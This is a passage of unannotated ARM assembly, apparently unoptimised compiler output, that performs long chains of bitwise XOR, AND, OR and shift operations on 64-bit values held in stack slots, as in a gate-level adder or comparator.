ldr r1, [fp, #-1520]
ldr r2, [fp, #-1836]
ldr r3, [fp, #-1832]
eor ip, r0, r2
str ip, [fp, #-4060]
eor r3, r1, r3
str r3, [fp, #-4056]
ldr r3, [fp, #-4060]
ldr r4, [fp, #-4056]
str r3, [fp, #-1500]
str r4, [fp, #-1496]
ldr r0, [fp, #-1516]
ldr r1, [fp, #-1512]
ldr r2, [fp, #-1508]
ldr r3, [fp, #-1504]
orr ip, r0, r2
str ip, [fp, #-4068]
orr r3, r1, r3
str r3, [fp, #-4064]
ldr r3, [fp, #-4068]
ldr r4, [fp, #-4064]
str r3, [fp, #-1492]
str r4, [fp, #-1488]
ldr r0, [fp, #-1764]
ldr r1, [fp, #-1760]
ldr r2, [fp, #-1644]
ldr r3, [fp, #-1640]
eor ip, r0, r2
str ip, [fp, #-4076]
eor r3, r1, r3
str r3, [fp, #-4072]
ldr r3, [fp, #-4076]
ldr r4, [fp, #-4072]
str r3, [fp, #-1484]
str r4, [fp, #-1480]
ldr r0, [fp, #-1764]
ldr r1, [fp, #-1760]
ldr r2, [fp, #-1644]
ldr r3, [fp, #-1640]
and ip, r0, r2
str ip, [fp, #-4084]
and r3, r1, r3
str r3, [fp, #-4080]
ldr r3, [fp, #-4084]
ldr r4, [fp, #-4080]
str r3, [fp, #-1476]
str r4, [fp, #-1472]
ldr r0, [fp, #-1484]
ldr r1, [fp, #-1480]
ldr r2, [fp, #-1796]
ldr r3, [fp, #-1792]
and ip, r0, r2
str ip, [fp, #-4092]
and r3, r1, r3
str r3, [fp, #-4088]
ldr r3, [fp, #-4092]
ldr r4, [fp, #-4088]
str r3, [fp, #-1468]
str r4, [fp, #-1464]
ldr r0, [fp, #-1484]
ldr r1, [fp, #-1480]
ldr r2, [fp, #-1796]
ldr r3, [fp, #-1792]
eor ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4096
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1460]
str r4, [fp, #-1456]
ldr r0, [fp, #-1476]
ldr r1, [fp, #-1472]
ldr r2, [fp, #-1468]
ldr r3, [fp, #-1464]
orr ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #12
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1452]
str r4, [fp, #-1448]
ldr r0, [fp, #-1724]
ldr r1, [fp, #-1720]
ldr r2, [fp, #-1636]
ldr r3, [fp, #-1632]
eor ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1444]
str r4, [fp, #-1440]
ldr r0, [fp, #-1724]
ldr r1, [fp, #-1720]
ldr r2, [fp, #-1636]
ldr r3, [fp, #-1632]
and ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1436]
str r4, [fp, #-1432]
ldr r0, [fp, #-1444]
ldr r1, [fp, #-1440]
ldr r2, [fp, #-1756]
ldr r3, [fp, #-1752]
and ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1428]
str r4, [fp, #-1424]
ldr r0, [fp, #-1444]
ldr r1, [fp, #-1440]
ldr r2, [fp, #-1756]
ldr r3, [fp, #-1752]
eor ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1420]
str r4, [fp, #-1416]
ldr r0, [fp, #-1436]
ldr r1, [fp, #-1432]
ldr r2, [fp, #-1428]
ldr r3, [fp, #-1424]
orr ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #52
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1412]
str r4, [fp, #-1408]
ldr r0, [fp, #-1684]
ldr r1, [fp, #-1680]
ldr r2, [fp, #-1628]
ldr r3, [fp, #-1624]
eor ip, r0, r2
sub lr, fp, #4096
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4096
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4096
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1404]
str r4, [fp, #-1400]
ldr r0, [fp, #-1684]
ldr r1, [fp, #-1680]
ldr r2, [fp, #-1628]
ldr r3, [fp, #-1624]
and ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4160
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1396]
str r4, [fp, #-1392]
ldr r0, [fp, #-1404]
ldr r1, [fp, #-1400]
ldr r2, [fp, #-1716]
ldr r3, [fp, #-1712]
and ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1388]
str r4, [fp, #-1384]
ldr r0, [fp, #-1404]
ldr r1, [fp, #-1400]
ldr r2, [fp, #-1716]
ldr r3, [fp, #-1712]
eor ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1380]
str r4, [fp, #-1376]
ldr r0, [fp, #-1396]
ldr r1, [fp, #-1392]
ldr r2, [fp, #-1388]
ldr r3, [fp, #-1384]
orr ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #28
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1372]
str r4, [fp, #-1368]
ldr r0, [fp, #-1932]
ldr r1, [fp, #-1928]
ldr r2, [fp, #-1620]
ldr r3, [fp, #-1616]
eor ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1364]
str r4, [fp, #-1360]
ldr r0, [fp, #-1932]
ldr r1, [fp, #-1928]
ldr r2, [fp, #-1620]
ldr r3, [fp, #-1616]
and ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1356]
str r4, [fp, #-1352]
ldr r0, [fp, #-1364]
ldr r1, [fp, #-1360]
ldr r2, [fp, #-1676]
ldr r3, [fp, #-1672]
and ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1348]
str r4, [fp, #-1344]
ldr r0, [fp, #-1364]
ldr r1, [fp, #-1360]
ldr r2, [fp, #-1676]
ldr r3, [fp, #-1672]
eor ip, r0, r2
sub lr, fp, #4160
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4160
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4160
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1340]
str r4, [fp, #-1336]
ldr r0, [fp, #-1356]
ldr r1, [fp, #-1352]
ldr r2, [fp, #-1348]
ldr r3, [fp, #-1344]
orr ip, r0, r2
sub lr, fp, #4224
sub lr, lr, #4
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4224
str r3, [r2]
sub r3, fp, #4224
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1332]
str r4, [fp, #-1328]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2772]
and r3, r1, r3
str r3, [fp, #-2768]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2772]
ldr r1, [fp, #-2768]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #12
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #8
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1324]
str r4, [fp, #-1320]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2780]
and r3, r5, r1
str r3, [fp, #-2776]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2780]
ldr r1, [fp, #-2776]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #20
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #16
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1316]
str r4, [fp, #-1312]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2788]
and r3, r5, r1
str r3, [fp, #-2784]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2788]
ldr r1, [fp, #-2784]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #28
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #24
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1308]
str r4, [fp, #-1304]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2796]
and r3, r5, r1
str r3, [fp, #-2792]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2796]
ldr r1, [fp, #-2792]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #36
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #32
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1300]
str r4, [fp, #-1296]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2804]
and r3, r5, r1
str r3, [fp, #-2800]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2804]
ldr r1, [fp, #-2800]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #44
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #40
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1292]
str r4, [fp, #-1288]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2812]
and r3, r5, r1
str r3, [fp, #-2808]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2812]
ldr r1, [fp, #-2808]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #52
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #48
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1284]
str r4, [fp, #-1280]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2820]
and r3, r5, r1
str r3, [fp, #-2816]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2820]
ldr r1, [fp, #-2816]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4224
sub lr, lr, #60
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4224
sub r3, r3, #56
str r1, [r3]
sub r3, fp, #4224
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1276]
str r4, [fp, #-1272]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
and r3, r4, r0
str r3, [fp, #-2828]
and r3, r5, r1
str r3, [fp, #-2824]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2828]
ldr r1, [fp, #-2824]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4288
sub lr, lr, #4
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4288
str r1, [r3]
sub r3, fp, #4288
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1268]
str r4, [fp, #-1264]
ldr r0, [fp, #-1540]
ldr r1, [fp, #-1536]
ldr r2, [fp, #-1324]
ldr r3, [fp, #-1320]
eor ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1260]
str r4, [fp, #-1256]
ldr r0, [fp, #-1540]
ldr r1, [fp, #-1536]
ldr r2, [fp, #-1324]
ldr r3, [fp, #-1320]
and ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1252]
str r4, [fp, #-1248]
ldr r0, [fp, #-1260]
ldr r1, [fp, #-1256]
ldr r2, [fp, #-1572]
ldr r3, [fp, #-1568]
and ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1244]
str r4, [fp, #-1240]
ldr r0, [fp, #-1260]
ldr r1, [fp, #-1256]
ldr r2, [fp, #-1572]
ldr r3, [fp, #-1568]
eor ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1236]
str r4, [fp, #-1232]
ldr r0, [fp, #-1252]
ldr r1, [fp, #-1248]
ldr r2, [fp, #-1244]
ldr r3, [fp, #-1240]
orr ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #44
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1228]
str r4, [fp, #-1224]
ldr r0, [fp, #-1500]
ldr r1, [fp, #-1496]
ldr r2, [fp, #-1316]
ldr r3, [fp, #-1312]
eor ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1220]
str r4, [fp, #-1216]
ldr r0, [fp, #-1500]
ldr r1, [fp, #-1496]
ldr r2, [fp, #-1316]
ldr r3, [fp, #-1312]
and ip, r0, r2
sub lr, fp, #4288
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4288
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4288
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1212]
str r4, [fp, #-1208]
ldr r0, [fp, #-1220]
ldr r1, [fp, #-1216]
ldr r2, [fp, #-1532]
ldr r3, [fp, #-1528]
and ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4352
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1204]
str r4, [fp, #-1200]
ldr r0, [fp, #-1220]
ldr r1, [fp, #-1216]
ldr r2, [fp, #-1532]
ldr r3, [fp, #-1528]
eor ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1196]
str r4, [fp, #-1192]
ldr r0, [fp, #-1212]
ldr r1, [fp, #-1208]
ldr r2, [fp, #-1204]
ldr r3, [fp, #-1200]
orr ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #20
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1188]
str r4, [fp, #-1184]
ldr r0, [fp, #-1460]
ldr r1, [fp, #-1456]
ldr r2, [fp, #-1308]
ldr r3, [fp, #-1304]
eor ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1180]
str r4, [fp, #-1176]
ldr r0, [fp, #-1460]
ldr r1, [fp, #-1456]
ldr r2, [fp, #-1308]
ldr r3, [fp, #-1304]
and ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1172]
str r4, [fp, #-1168]
ldr r0, [fp, #-1180]
ldr r1, [fp, #-1176]
ldr r2, [fp, #-1492]
ldr r3, [fp, #-1488]
and ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1164]
str r4, [fp, #-1160]
ldr r0, [fp, #-1180]
ldr r1, [fp, #-1176]
ldr r2, [fp, #-1492]
ldr r3, [fp, #-1488]
eor ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1156]
str r4, [fp, #-1152]
ldr r0, [fp, #-1172]
ldr r1, [fp, #-1168]
ldr r2, [fp, #-1164]
ldr r3, [fp, #-1160]
orr ip, r0, r2
sub lr, fp, #4352
sub lr, lr, #60
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4352
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4352
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1148]
str r4, [fp, #-1144]
ldr r0, [fp, #-1420]
ldr r1, [fp, #-1416]
ldr r2, [fp, #-1300]
ldr r3, [fp, #-1296]
eor ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4416
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1140]
str r4, [fp, #-1136]
ldr r0, [fp, #-1420]
ldr r1, [fp, #-1416]
ldr r2, [fp, #-1300]
ldr r3, [fp, #-1296]
and ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1132]
str r4, [fp, #-1128]
ldr r0, [fp, #-1140]
ldr r1, [fp, #-1136]
ldr r2, [fp, #-1452]
ldr r3, [fp, #-1448]
and ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1124]
str r4, [fp, #-1120]
ldr r0, [fp, #-1140]
ldr r1, [fp, #-1136]
ldr r2, [fp, #-1452]
ldr r3, [fp, #-1448]
eor ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1116]
str r4, [fp, #-1112]
ldr r0, [fp, #-1132]
ldr r1, [fp, #-1128]
ldr r2, [fp, #-1124]
ldr r3, [fp, #-1120]
orr ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #36
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1108]
str r4, [fp, #-1104]
ldr r0, [fp, #-1380]
ldr r1, [fp, #-1376]
ldr r2, [fp, #-1292]
ldr r3, [fp, #-1288]
eor ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1100]
str r4, [fp, #-1096]
ldr r0, [fp, #-1380]
ldr r1, [fp, #-1376]
ldr r2, [fp, #-1292]
ldr r3, [fp, #-1288]
and ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1092]
str r4, [fp, #-1088]
ldr r0, [fp, #-1100]
ldr r1, [fp, #-1096]
ldr r2, [fp, #-1412]
ldr r3, [fp, #-1408]
and ip, r0, r2
sub lr, fp, #4416
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4416
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4416
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1084]
str r4, [fp, #-1080]
ldr r0, [fp, #-1100]
ldr r1, [fp, #-1096]
ldr r2, [fp, #-1412]
ldr r3, [fp, #-1408]
eor ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4480
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1076]
str r4, [fp, #-1072]
ldr r0, [fp, #-1092]
ldr r1, [fp, #-1088]
ldr r2, [fp, #-1084]
ldr r3, [fp, #-1080]
orr ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #12
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1068]
str r4, [fp, #-1064]
ldr r0, [fp, #-1340]
ldr r1, [fp, #-1336]
ldr r2, [fp, #-1284]
ldr r3, [fp, #-1280]
eor ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-1060]
str r4, [fp, #-1056]
ldr r0, [fp, #-1340]
ldr r1, [fp, #-1336]
ldr r2, [fp, #-1284]
ldr r3, [fp, #-1280]
and ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-1052]
str r4, [fp, #-1048]
ldr r0, [fp, #-1060]
ldr r1, [fp, #-1056]
ldr r2, [fp, #-1372]
ldr r3, [fp, #-1368]
and ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-1044]
str r4, [fp, #-1040]
ldr r0, [fp, #-1060]
ldr r1, [fp, #-1056]
ldr r2, [fp, #-1372]
ldr r3, [fp, #-1368]
eor ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-1036]
str r4, [fp, #-1032]
ldr r0, [fp, #-1052]
ldr r1, [fp, #-1048]
ldr r2, [fp, #-1044]
ldr r3, [fp, #-1040]
orr ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #52
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-1028]
str r4, [fp, #-1024]
ldr r0, [fp, #-1612]
ldr r1, [fp, #-1608]
ldr r2, [fp, #-1276]
ldr r3, [fp, #-1272]
eor ip, r0, r2
sub lr, fp, #4480
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4480
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4480
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-1020]
str r4, [fp, #-1016]
ldr r0, [fp, #-1612]
ldr r1, [fp, #-1608]
ldr r2, [fp, #-1276]
ldr r3, [fp, #-1272]
and ip, r0, r2
sub lr, fp, #4544
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4544
str r3, [r2]
sub r3, fp, #4544
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-1012]
str r4, [fp, #-1008]
sub r1, fp, #1020
ldmia r1, {r0-r1}
ldr r2, [fp, #-1332]
ldr r3, [fp, #-1328]
and ip, r0, r2
sub lr, fp, #4544
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4544
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4544
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-1004]
str r4, [fp, #-1000]
sub r1, fp, #1020
ldmia r1, {r0-r1}
ldr r2, [fp, #-1332]
ldr r3, [fp, #-1328]
eor ip, r0, r2
sub lr, fp, #4544
